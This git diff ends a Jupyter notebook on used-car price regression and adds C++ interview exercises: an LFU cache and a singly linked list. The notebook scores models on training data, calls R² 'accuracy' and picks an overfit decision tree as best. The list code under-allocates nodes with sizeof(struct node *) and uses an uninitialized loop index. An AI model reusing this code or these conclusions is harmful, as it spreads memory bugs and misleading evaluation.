" \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
Audi A3 35 TDI AttractionAudi A3 35 TDI PremiumAudi A3 35 TDI Premium PlusAudi A3 35 TDI TechnologyAudi A4 1.8 TFSIAudi A4 1.8 TFSI Technology EditionAudi A4 2.0 TDIAudi A4 2.0 TDI 177 Bhp Premium PlusAudi A4 2.0 TDI 177 Bhp Technology EditionAudi A4 2.0 TDI Celebration Edition...SecondThird2.04.05.06.07.08.09.010.0
00000000000...0000100000
10000000000...0000100000
20000000000...0000100000
30000000000...0000001000
40000000000...1000100000
..................................................................
60140000000000...0000100000
60150000000000...0000100000
60160000000000...1000000100
60170000000000...0000100000
60180000000000...0000100000
\n", - "

6019 rows × 1907 columns

\n", - "
" - ], - "text/plain": [ - " Audi A3 35 TDI Attraction Audi A3 35 TDI Premium \\\n", - "0 0 0 \n", - "1 0 0 \n", - "2 0 0 \n", - "3 0 0 \n", - "4 0 0 \n", - "... ... ... \n", - "6014 0 0 \n", - "6015 0 0 \n", - "6016 0 0 \n", - "6017 0 0 \n", - "6018 0 0 \n", - "\n", - " Audi A3 35 TDI Premium Plus Audi A3 35 TDI Technology \\\n", - "0 0 0 \n", - "1 0 0 \n", - "2 0 0 \n", - "3 0 0 \n", - "4 0 0 \n", - "... ... ... \n", - "6014 0 0 \n", - "6015 0 0 \n", - "6016 0 0 \n", - "6017 0 0 \n", - "6018 0 0 \n", - "\n", - " Audi A4 1.8 TFSI Audi A4 1.8 TFSI Technology Edition Audi A4 2.0 TDI \\\n", - "0 0 0 0 \n", - "1 0 0 0 \n", - "2 0 0 0 \n", - "3 0 0 0 \n", - "4 0 0 0 \n", - "... ... ... ... \n", - "6014 0 0 0 \n", - "6015 0 0 0 \n", - "6016 0 0 0 \n", - "6017 0 0 0 \n", - "6018 0 0 0 \n", - "\n", - " Audi A4 2.0 TDI 177 Bhp Premium Plus \\\n", - "0 0 \n", - "1 0 \n", - "2 0 \n", - "3 0 \n", - "4 0 \n", - "... ... \n", - "6014 0 \n", - "6015 0 \n", - "6016 0 \n", - "6017 0 \n", - "6018 0 \n", - "\n", - " Audi A4 2.0 TDI 177 Bhp Technology Edition \\\n", - "0 0 \n", - "1 0 \n", - "2 0 \n", - "3 0 \n", - "4 0 \n", - "... ... \n", - "6014 0 \n", - "6015 0 \n", - "6016 0 \n", - "6017 0 \n", - "6018 0 \n", - "\n", - " Audi A4 2.0 TDI Celebration Edition ... Second Third 2.0 4.0 5.0 \\\n", - "0 0 ... 0 0 0 0 1 \n", - "1 0 ... 0 0 0 0 1 \n", - "2 0 ... 0 0 0 0 1 \n", - "3 0 ... 0 0 0 0 0 \n", - "4 0 ... 1 0 0 0 1 \n", - "... ... ... ... ... ... ... ... \n", - "6014 0 ... 0 0 0 0 1 \n", - "6015 0 ... 0 0 0 0 1 \n", - "6016 0 ... 1 0 0 0 0 \n", - "6017 0 ... 0 0 0 0 1 \n", - "6018 0 ... 0 0 0 0 1 \n", - "\n", - " 6.0 7.0 8.0 9.0 10.0 \n", - "0 0 0 0 0 0 \n", - "1 0 0 0 0 0 \n", - "2 0 0 0 0 0 \n", - "3 0 1 0 0 0 \n", - "4 0 0 0 0 0 \n", - "... ... ... ... ... ... \n", - "6014 0 0 0 0 0 \n", - "6015 0 0 0 0 0 \n", - "6016 0 0 1 0 0 \n", - "6017 0 0 0 0 0 \n", - "6018 0 0 0 0 0 \n", - "\n", - "[6019 rows x 1907 columns]" - ] - }, - "execution_count": 119, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "new_df = pd.concat([name_num, location_num, features, fuel_num, transmission_num, owner_num, seats_num], axis = 1)\n", - "new_df" - ] - }, - { - "cell_type": "code", - "execution_count": 120, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
Audi A3 35 TDI AttractionAudi A3 35 TDI PremiumAudi A3 35 TDI Premium PlusAudi A3 35 TDI TechnologyAudi A4 1.8 TFSIAudi A4 1.8 TFSI Technology EditionAudi A4 2.0 TDIAudi A4 2.0 TDI 177 Bhp Premium PlusAudi A4 2.0 TDI 177 Bhp Technology EditionAudi A4 2.0 TDI Celebration Edition...SecondThird2.04.05.06.07.08.09.010.0
00000000000...0000100000
10000000000...0000100000
20000000000...0000100000
30000000000...0000001000
40000000000...1000100000
..................................................................
60140000000000...0000100000
60150000000000...0000100000
60160000000000...1000000100
60170000000000...0000100000
60180000000000...0000100000
\n", - "

5911 rows × 1907 columns

\n", - "
" - ], - "text/plain": [ - " Audi A3 35 TDI Attraction Audi A3 35 TDI Premium \\\n", - "0 0 0 \n", - "1 0 0 \n", - "2 0 0 \n", - "3 0 0 \n", - "4 0 0 \n", - "... ... ... \n", - "6014 0 0 \n", - "6015 0 0 \n", - "6016 0 0 \n", - "6017 0 0 \n", - "6018 0 0 \n", - "\n", - " Audi A3 35 TDI Premium Plus Audi A3 35 TDI Technology \\\n", - "0 0 0 \n", - "1 0 0 \n", - "2 0 0 \n", - "3 0 0 \n", - "4 0 0 \n", - "... ... ... \n", - "6014 0 0 \n", - "6015 0 0 \n", - "6016 0 0 \n", - "6017 0 0 \n", - "6018 0 0 \n", - "\n", - " Audi A4 1.8 TFSI Audi A4 1.8 TFSI Technology Edition Audi A4 2.0 TDI \\\n", - "0 0 0 0 \n", - "1 0 0 0 \n", - "2 0 0 0 \n", - "3 0 0 0 \n", - "4 0 0 0 \n", - "... ... ... ... \n", - "6014 0 0 0 \n", - "6015 0 0 0 \n", - "6016 0 0 0 \n", - "6017 0 0 0 \n", - "6018 0 0 0 \n", - "\n", - " Audi A4 2.0 TDI 177 Bhp Premium Plus \\\n", - "0 0 \n", - "1 0 \n", - "2 0 \n", - "3 0 \n", - "4 0 \n", - "... ... \n", - "6014 0 \n", - "6015 0 \n", - "6016 0 \n", - "6017 0 \n", - "6018 0 \n", - "\n", - " Audi A4 2.0 TDI 177 Bhp Technology Edition \\\n", - "0 0 \n", - "1 0 \n", - "2 0 \n", - "3 0 \n", - "4 0 \n", - "... ... \n", - "6014 0 \n", - "6015 0 \n", - "6016 0 \n", - "6017 0 \n", - "6018 0 \n", - "\n", - " Audi A4 2.0 TDI Celebration Edition ... Second Third 2.0 4.0 5.0 \\\n", - "0 0 ... 0 0 0 0 1 \n", - "1 0 ... 0 0 0 0 1 \n", - "2 0 ... 0 0 0 0 1 \n", - "3 0 ... 0 0 0 0 0 \n", - "4 0 ... 1 0 0 0 1 \n", - "... ... ... ... ... ... ... ... \n", - "6014 0 ... 0 0 0 0 1 \n", - "6015 0 ... 0 0 0 0 1 \n", - "6016 0 ... 1 0 0 0 0 \n", - "6017 0 ... 0 0 0 0 1 \n", - "6018 0 ... 0 0 0 0 1 \n", - "\n", - " 6.0 7.0 8.0 9.0 10.0 \n", - "0 0 0 0 0 0 \n", - "1 0 0 0 0 0 \n", - "2 0 0 0 0 0 \n", - "3 0 1 0 0 0 \n", - "4 0 0 0 0 0 \n", - "... ... ... ... ... ... \n", - "6014 0 0 0 0 0 \n", - "6015 0 0 0 0 0 \n", - "6016 0 0 1 0 0 \n", - "6017 0 0 0 0 0 \n", - "6018 0 0 0 0 0 \n", - "\n", - "[5911 rows x 1907 columns]" - ] - }, - "execution_count": 120, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "new_df = new_df.dropna()\n", - "new_df" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## **Data Training**" - ] - }, - { - "cell_type": "code", - "execution_count": 121, - "metadata": {}, - "outputs": [], - "source": [ - "y=new_df['Price']\n", - "X=new_df.drop(['Price'],axis=1)" - ] - }, - { - "cell_type": "code", - "execution_count": 122, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0 1.75\n", - "1 12.50\n", - "2 4.50\n", - "3 6.00\n", - "4 17.74\n", - " ... \n", - "6014 4.75\n", - "6015 4.00\n", - "6016 2.90\n", - "6017 2.65\n", - "6018 2.50\n", - "Name: Price, Length: 5911, dtype: float64" - ] - }, - "execution_count": 122, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "y" - ] - }, - { - "cell_type": "code", - "execution_count": 123, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
Audi A3 35 TDI AttractionAudi A3 35 TDI PremiumAudi A3 35 TDI Premium PlusAudi A3 35 TDI TechnologyAudi A4 1.8 TFSIAudi A4 1.8 TFSI Technology EditionAudi A4 2.0 TDIAudi A4 2.0 TDI 177 Bhp Premium PlusAudi A4 2.0 TDI 177 Bhp Technology EditionAudi A4 2.0 TDI Celebration Edition...SecondThird2.04.05.06.07.08.09.010.0
00000000000...0000100000
10000000000...0000100000
20000000000...0000100000
30000000000...0000001000
40000000000...1000100000
..................................................................
60140000000000...0000100000
60150000000000...0000100000
60160000000000...1000000100
60170000000000...0000100000
60180000000000...0000100000
\n", - "

5911 rows × 1906 columns

\n", - "
" - ], - "text/plain": [ - " Audi A3 35 TDI Attraction Audi A3 35 TDI Premium \\\n", - "0 0 0 \n", - "1 0 0 \n", - "2 0 0 \n", - "3 0 0 \n", - "4 0 0 \n", - "... ... ... \n", - "6014 0 0 \n", - "6015 0 0 \n", - "6016 0 0 \n", - "6017 0 0 \n", - "6018 0 0 \n", - "\n", - " Audi A3 35 TDI Premium Plus Audi A3 35 TDI Technology \\\n", - "0 0 0 \n", - "1 0 0 \n", - "2 0 0 \n", - "3 0 0 \n", - "4 0 0 \n", - "... ... ... \n", - "6014 0 0 \n", - "6015 0 0 \n", - "6016 0 0 \n", - "6017 0 0 \n", - "6018 0 0 \n", - "\n", - " Audi A4 1.8 TFSI Audi A4 1.8 TFSI Technology Edition Audi A4 2.0 TDI \\\n", - "0 0 0 0 \n", - "1 0 0 0 \n", - "2 0 0 0 \n", - "3 0 0 0 \n", - "4 0 0 0 \n", - "... ... ... ... \n", - "6014 0 0 0 \n", - "6015 0 0 0 \n", - "6016 0 0 0 \n", - "6017 0 0 0 \n", - "6018 0 0 0 \n", - "\n", - " Audi A4 2.0 TDI 177 Bhp Premium Plus \\\n", - "0 0 \n", - "1 0 \n", - "2 0 \n", - "3 0 \n", - "4 0 \n", - "... ... \n", - "6014 0 \n", - "6015 0 \n", - "6016 0 \n", - "6017 0 \n", - "6018 0 \n", - "\n", - " Audi A4 2.0 TDI 177 Bhp Technology Edition \\\n", - "0 0 \n", - "1 0 \n", - "2 0 \n", - "3 0 \n", - "4 0 \n", - "... ... \n", - "6014 0 \n", - "6015 0 \n", - "6016 0 \n", - "6017 0 \n", - "6018 0 \n", - "\n", - " Audi A4 2.0 TDI Celebration Edition ... Second Third 2.0 4.0 5.0 \\\n", - "0 0 ... 0 0 0 0 1 \n", - "1 0 ... 0 0 0 0 1 \n", - "2 0 ... 0 0 0 0 1 \n", - "3 0 ... 0 0 0 0 0 \n", - "4 0 ... 1 0 0 0 1 \n", - "... ... ... ... ... ... ... ... \n", - "6014 0 ... 0 0 0 0 1 \n", - "6015 0 ... 0 0 0 0 1 \n", - "6016 0 ... 1 0 0 0 0 \n", - "6017 0 ... 0 0 0 0 1 \n", - "6018 0 ... 0 0 0 0 1 \n", - "\n", - " 6.0 7.0 8.0 9.0 10.0 \n", - "0 0 0 0 0 0 \n", - "1 0 0 0 0 0 \n", - "2 0 0 0 0 0 \n", - "3 0 1 0 0 0 \n", - "4 0 0 0 0 0 \n", - "... ... ... ... ... ... \n", - "6014 0 0 0 0 0 \n", - "6015 0 0 0 0 0 \n", - "6016 0 0 1 0 0 \n", - "6017 0 0 0 0 0 \n", - "6018 0 0 0 0 0 \n", - "\n", - "[5911 rows x 1906 columns]" - ] - }, - "execution_count": 123, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "X" - ] - }, - { - "cell_type": "code", - "execution_count": 124, - "metadata": {}, - "outputs": [], - "source": [ - "from sklearn.model_selection import train_test_split\n", - "X_train,X_test,y_train,y_test=train_test_split(X,y,random_state=0,test_size=0.2)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# **Model Creation**" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### **Linear Regression**" - ] - }, - { - "cell_type": "code", - "execution_count": 125, - "metadata": {}, - "outputs": [], - "source": [ - "# Linear Regression\n", - "\n", - "from sklearn.linear_model import LinearRegression\n", - "model2=LinearRegression() # created a " - ] - }, - { - "cell_type": "code", - "execution_count": 126, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([ 6.07263858e+00, 2.40341531e+00, 7.53164133e+00, ...,\n", - " 8.13931755e+00, 5.88546993e+00, -2.88482378e+06])" - ] - }, - "execution_count": 126, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "model2.fit(X_train, y_train)\n", - "# Making predictions \n", - "pred2 = model2.predict(X_test)\n", - "pred2" - ] - }, - { - "cell_type": "code", - "execution_count": 127, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Accuracy of the LinearRegression model comes to be: \n", - " \n", - "0.9684056793735263\n" - ] - } - ], - "source": [ - "print(\"Accuracy of the LinearRegression model comes to be: \\n \") \n", - "print(model2.score(X_train,y_train))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### **Ridge Regression**" - ] - }, - { - "cell_type": "code", - "execution_count": 128, - "metadata": {}, - "outputs": [], - "source": [ - "# Importing model\n", - "from sklearn.linear_model import Ridge\n", - "model3 = Ridge()" - ] - }, - { - "cell_type": "code", - "execution_count": 129, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([ 6.25862513, 2.52182371, 8.51332524, ..., 9.33545976,\n", - " 6.01621486, 22.45452316])" - ] - }, - "execution_count": 129, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "#Fitting data into the model.\n", - "model3.fit(X_train, y_train)\n", - "# Making predictions on Test data \n", - "pred3 = model3.predict(X_test)\n", - "pred3" - ] - }, - { - "cell_type": "code", - "execution_count": 130, - "metadata": { - "scrolled": true - }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Accuracy of the RidgeRegression model comes to be: \n", - " \n", - "0.9315184839053332\n" - ] - } - ], - "source": [ - "print(\"Accuracy of the RidgeRegression model comes to be: \\n \") \n", - "print(model3.score(X_train,y_train))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### **Lasso Regression**" - ] - }, - { - "cell_type": "code", - "execution_count": 131, - "metadata": {}, - "outputs": [], - "source": [ - "# Importing model\n", - "from sklearn.linear_model import Lasso\n", - "model5 = Lasso()" - ] - }, - { - "cell_type": "code", - "execution_count": 132, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([ 9.7967925 , 8.52671207, 7.7844377 , ..., 10.58355243,\n", - " 7.7403957 , 20.50920741])" - ] - }, - "execution_count": 132, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "#Fitting data into the model.\n", - "model5.fit(X_train, y_train)\n", - "# Making predictions on Test data \n", - "pred5 = model5.predict(X_test)\n", - "pred5" - ] - }, - { - "cell_type": "code", - "execution_count": 133, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Accuracy of the Lasso Regression model comes to be: \n", - " \n", - "0.6676867421149071\n" - ] - } - ], - "source": [ - "print(\"Accuracy of the Lasso Regression model comes to be: \\n \") \n", - "print(model5.score(X_train,y_train))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### **Decision Tree Regression**" - ] - }, - { - "cell_type": "code", - "execution_count": 134, - "metadata": {}, - "outputs": [], - "source": [ - "# Importing decision tree regressor \n", - "from sklearn.tree import DecisionTreeRegressor \n", - "model7 = DecisionTreeRegressor()" - ] - }, - { - "cell_type": "code", - "execution_count": 135, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([ 5.53, 4.15, 6.89, ..., 8.5 , 6.25, 23.75])" - ] - }, - "execution_count": 135, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "#Fitting data into the model.\n", - "model7.fit(X_train, y_train)\n", - "# Making predictions on Test data \n", - "pred7 = model7.predict(X_test)\n", - "pred7" - ] - }, - { - "cell_type": "code", - "execution_count": 139, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Accuracy of the DecisionTree Classifier model comes to be: \n", - " \n", - "0.9999978329141381\n" - ] - } - ], - "source": [ - "print(\"Accuracy of the DecisionTree Classifier model comes to be: \\n \") \n", - "print(model7.score(X_train,y_train))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# **Performance Evaluation**" - ] - }, - { - "cell_type": "code", - "execution_count": 140, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Model\t\t\t RootMeanSquareError \t\t Accuracy of the model\n", - "Linear Regression \t\t 656288.6482 \t \t\t 0.9684\n", - "Ridge Regression \t\t 4.4580 \t \t\t 0.9315\n", - "Lasso Regression \t\t 6.2361 \t \t\t 0.6677\n", - "Decision Tree Classifier \t\t 4.9632 \t \t\t 1.0000\n" - ] - } - ], - "source": [ - "import numpy as np\n", - "from sklearn.metrics import mean_squared_error\n", - "print(\"Model\\t\\t\\t RootMeanSquareError \\t\\t Accuracy of the model\") \n", - "print(\"\"\"Linear Regression \\t\\t {:.4f} \\t \\t\\t {:.4f}\"\"\".format( np.sqrt(mean_squared_error(y_test, pred2)), model2.score(X_train,y_train)))\n", - "print(\"\"\"Ridge Regression \\t\\t {:.4f} \\t \\t\\t {:.4f}\"\"\".format( np.sqrt(mean_squared_error(y_test, pred3)), model3.score(X_train,y_train)))\n", - "print(\"\"\"Lasso Regression \\t\\t {:.4f} \\t \\t\\t {:.4f}\"\"\".format( np.sqrt(mean_squared_error(y_test, pred5)), model5.score(X_train,y_train)))\n", - "print(\"\"\"Decision Tree Classifier \\t\\t {:.4f} \\t \\t\\t {:.4f}\"\"\".format( np.sqrt(mean_squared_error(y_test, pred7)), model7.score(X_train,y_train)))\n", - "# print(\"\"\"XG Boost Classifier\\t\\t {:.4f} \\t \\t\\t {:.4f}\"\"\".format( np.sqrt(mean_squared_error(y_test, pred8)), accuracy_score(y_test,pred8)))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Conclusion: Accuracy of Lasso Regression model is about 67%.\n", - "\n", - "Whereas accuracy of Linear Regression, Ridge Regression and Decision Tree Classifier are above 90%.\n", - "\n", - "And the Accuracy of the Decision Tree Classifier is highest which is almost 100%, so it is efficient among all." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} diff --git a/Add Code Here/Interview Problems/LFU cache.cpp b/Add Code Here/Interview Problems/LFU cache.cpp new file mode 100644 index 00000000000..d6f62f1ec8a --- /dev/null +++ b/Add Code Here/Interview Problems/LFU cache.cpp @@ -0,0 +1,107 @@ +class Node{ + public: + int key,value,count; + Node* next; + Node* prev; + Node(int key,int value){ + this->key=key; + this->value=value; + count=1; + } +}; +class List{ + public: + int size; + Node* head; + Node* tail; + List(){ + head=new Node(0,0); + tail=new Node(0,0); + head->next=tail; + tail->prev=head; + size=0; + } + void addfront(Node *node){ + Node* temp=head->next; + node->next=temp; + node->prev=head; + head->next=node; + temp->prev=node; + size++; +} +void removenode(Node* delnode){ + Node* delprev=delnode->prev; + Node* delnext=delnode->next; + delprev->next=delnext; + delnext->prev=delprev; + size--; +} +}; +class LFUCache { + mapkeynode; + mapfreqlistmap; + int maxcache; + int minfreq; + int cursz; +public: + LFUCache(int capacity) { + maxcache=capacity; + minfreq=0; + cursz=0; + + + } + void updatefreqlist(Node* node){ + keynode.erase(node->key); + freqlistmap[node->count]->removenode(node); + if(node->count==minfreq and freqlistmap[node->count]->size==0){ + minfreq++; + } + List* nexthigherfreqlist=new List(); + if(freqlistmap.find(node->count+1)!=freqlistmap.end()){ + nexthigherfreqlist=freqlistmap[node->count+1]; + } + node->count+=1; + nexthigherfreqlist->addfront(node); + freqlistmap[node->count]=nexthigherfreqlist; + keynode[node->key]=node; + } + + int get(int key) { + if(keynode.find(key)!=keynode.end()){ + Node* node=keynode[key]; + int val=node->value; + updatefreqlist(node); + return val; + } + return -1; + } + + void put(int key, int value) { + if(maxcache==0)return; + if(keynode.find(key)!=keynode.end()){ + Node* node=keynode[key]; + node->value=value; + updatefreqlist(node); + } + else{ + if(cursz==maxcache){ + List* list=freqlistmap[minfreq]; + keynode.erase(list->tail->prev->key); + freqlistmap[minfreq]->removenode(list->tail->prev); + cursz--; + } + cursz++; + minfreq=1; + List* listfreq=new List(); + if(freqlistmap.find(minfreq)!=freqlistmap.end()){ + listfreq=freqlistmap[minfreq]; + } + Node *node=new Node(key,value); + listfreq->addfront(node); + keynode[key]=node; + freqlistmap[minfreq]=listfreq; + + } + } +}; diff --git a/Add Code Here/Interview Problems/Linked_List/Implementation_of_Singly_Linked_List.cpp b/Add Code Here/Interview Problems/Linked_List/Implementation_of_Singly_Linked_List.cpp new file mode 100644 index 00000000000..0fe26997364 --- /dev/null +++ b/Add Code Here/Interview Problems/Linked_List/Implementation_of_Singly_Linked_List.cpp @@ -0,0 +1,272 @@ +// Implementation of Singly Linked List + +// Insertion In Linked List + // Insert At Beginning + // Insert At End + // Insert At Middle + +// Deletion In Linked List + // Delete At Beginning + // Delete At End + // Delete At Middle + + +#include +using namespace std; + +struct node +{ + int data; + struct node *next; +}; +struct node *head = NULL; + +struct node *newnode, *temp, *Nextnode; + +void Insert() +{ + newnode = (struct node *)malloc(sizeof(struct node *)); + + cout<<"Enter the Data to be inserted : "; + cin>>newnode->data; + + newnode->next = NULL; + + if(head == NULL) + { + head = temp = newnode; + } + else + { + temp->next = newnode; + temp = newnode; + } +} + +void Insert_At_Begin() +{ + newnode = (struct node *)malloc(sizeof(struct node)); + + cout<<"Enter the Value to be Inserted At Begin : "; + cin>>newnode->data; + + newnode->next = head; + head = newnode; +} + +void Insert_At_End() +{ + newnode = (struct node *)malloc(sizeof(struct node)); + + cout<<"enter the Data to be insertd At End : "; + cin>>newnode->data; + + newnode->next = NULL; + temp = head; + + while(temp->next != NULL) + { + temp = temp->next; + } + + temp->next = newnode; +} + +void Insert_At_Position(int pos) +{ + newnode = (struct node *)malloc(sizeof(struct node)); + + cout<<"enter the Data to be insertd At Position : "; + cin>>newnode->data; + + int i; + if(pos == 1) + { + newnode->next = head; + head = newnode; + } + else + { + temp = head; + + // we are inserting after the position that's why i = 0 + // Otherwise before position i = 1 + for(i = i; inext; + } + newnode->next = temp ->next; + temp ->next = newnode; + } +} + +void Delete_At_Begin() +{ + if(head == NULL) + { + cout<<"Linked List is Empty !!"<next; + + free(temp); + } +} + +void Delete_At_End() +{ + struct node *Prevnode; + + if(head == NULL) + { + cout<<"Linked List is Empty !!"<next != NULL) + { + Prevnode = temp; + temp = temp->next; + } + + if(temp == head) + { + head = 0; + } + else + { + Prevnode -> next = 0; + } + + free(temp); + } +} + +void Delete_At_Position(int pos) +{ + int i = 1; + + struct node *Nextnode; + + temp = head; + while(i < pos - 1) + { + temp = temp ->next; + i++; + } + + // Link the (n-1) to (n+1)th Node + Nextnode = temp->next; + temp->next = Nextnode->next; + + free(Nextnode); +} + +void Display() +{ + temp = head; + + while( temp != NULL) + { + cout<data<<" "; + temp = temp ->next; + } + cout<> n; + + switch (n) + { + case 1: + { + Insert(); + break; 